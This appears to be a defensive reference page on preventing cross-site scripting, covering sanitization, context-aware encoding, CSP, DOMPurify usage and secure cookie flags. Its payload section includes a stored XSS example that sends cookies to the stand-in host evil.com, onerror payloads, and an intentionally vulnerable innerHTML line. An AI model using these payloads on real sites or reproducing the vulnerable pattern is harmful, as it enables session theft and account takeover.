XSS prevention

Defense in depth

No single control covers every XSS variant; stack three layers: shape data on ingress and egress, then let the browser policy catch mistakes.

Output context reference

Wrong-context encoding is a common mistake: escaping safe for an HTML text node can still fail inside href or <script>.

Mitigation flow (sketch)

Outside in: reduce how expressive untrusted data can be, encode at render time, then CSP limits what can execute.

  Untrusted input (body / URL / storage / third-party HTML)
              │
              ▼
  ┌───────────────────────┐
  │ ① Sanitize (if HTML)  │  Allowlist; strip handlers / bad URLs
  └───────────┬───────────┘
              ▼
  ┌───────────────────────┐
  │ ② Encode (by context)  │  HTML / Attr / URL / JS
  └───────────┬───────────┘
              ▼
  ┌───────────────────────┐
  │ ③ CSP (+ Trusted Types)│  script-src, object-src, default-src
  └───────────┬───────────┘
              ▼
         Safe browser render

In-page demo

Scripts below run only on this page: highlight common dangerous substrings in sample input (illustrative, not a full scanner); toggle directives to preview a Content-Security-Policy string for docs.

Framework safety and encoding function examples

3 types of XSS attack payloads and defense code

// Stored XSS payload
// Attacker stores in comment: <script>document.location='https://evil.com/steal?c='+document.cookie</script>
// Defense: HTML-encode on output from DB, do not use innerHTML directly

// Reflected XSS payload
// URL: /search?q=<img src=x onerror=alert(document.domain)>
// Defense: server-side output escaping, CSP restricts inline scripts

// DOM XSS payload
// URL fragment: #<img src=x onerror=alert(1)>
document.getElementById('output').innerHTML = location.hash.slice(1); // ❌
// Defense: use textContent instead of innerHTML
document.getElementById('output').textContent = location.hash.slice(1); // ✅

React dangerouslySetInnerHTML anti-pattern vs DOMPurify correct usage

// ❌ Dangerous: unsanitized dangerouslySetInnerHTML
function Comment({ html }) {
  return <div dangerouslySetInnerHTML={{ __html: html }} />;
}

// ✅ Secure: sanitize with DOMPurify before rendering
import DOMPurify from 'dompurify';

function Comment({ html }) {
  const clean = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p'],
    ALLOWED_ATTR: ['href', 'title'],
    ALLOW_DATA_ATTR: false,
  });
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

// ✅ Vue v-html safety rules
// Use v-html only on trusted content, pre-process with DOMPurify:
// <div v-html="sanitizedContent"></div>
// computed: { sanitizedContent() { return DOMPurify.sanitize(this.rawHtml) } }

Four encoding context functions

// HTML encoding (Node.js — he library)
import he from 'he';
const htmlEncoded = he.encode('<script>alert(1)</script>');
// → '&lt;script&gt;alert(1)&lt;/script&gt;'

// URL encoding
const urlEncoded = encodeURIComponent(userInput);
// For query string values, not for the full URL

// JavaScript string encoding (when embedding inside <script>)
const jsEncoded = JSON.stringify(userInput)
  .replace(/</g, '\\u003c')
  .replace(/>/g, '\\u003e')
  .replace(/&/g, '\\u0026');

// CSS encoding (when user controls style attribute values)
function cssSafeValue(val) {
  return val.replace(/[^a-zA-Z0-9\-_]/g, c =>
    '\\' + c.codePointAt(0).toString(16) + ' '
  );
}

Secure Cookie configuration

// Express.js — secure Cookie configuration
res.cookie('session', token, {
  httpOnly: true,      // Prevent JS access (stops XSS session theft)
  secure: true,        // HTTPS only
  sameSite: 'Strict',  // Prevent CSRF ('Lax' is the balance for most scenarios)
  maxAge: 3600000,     // 1 hour
  path: '/',
  domain: 'example.com',
});

# Nginx — Set-Cookie header example
# add_header Set-Cookie "session=$token; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600"

SKILL snippet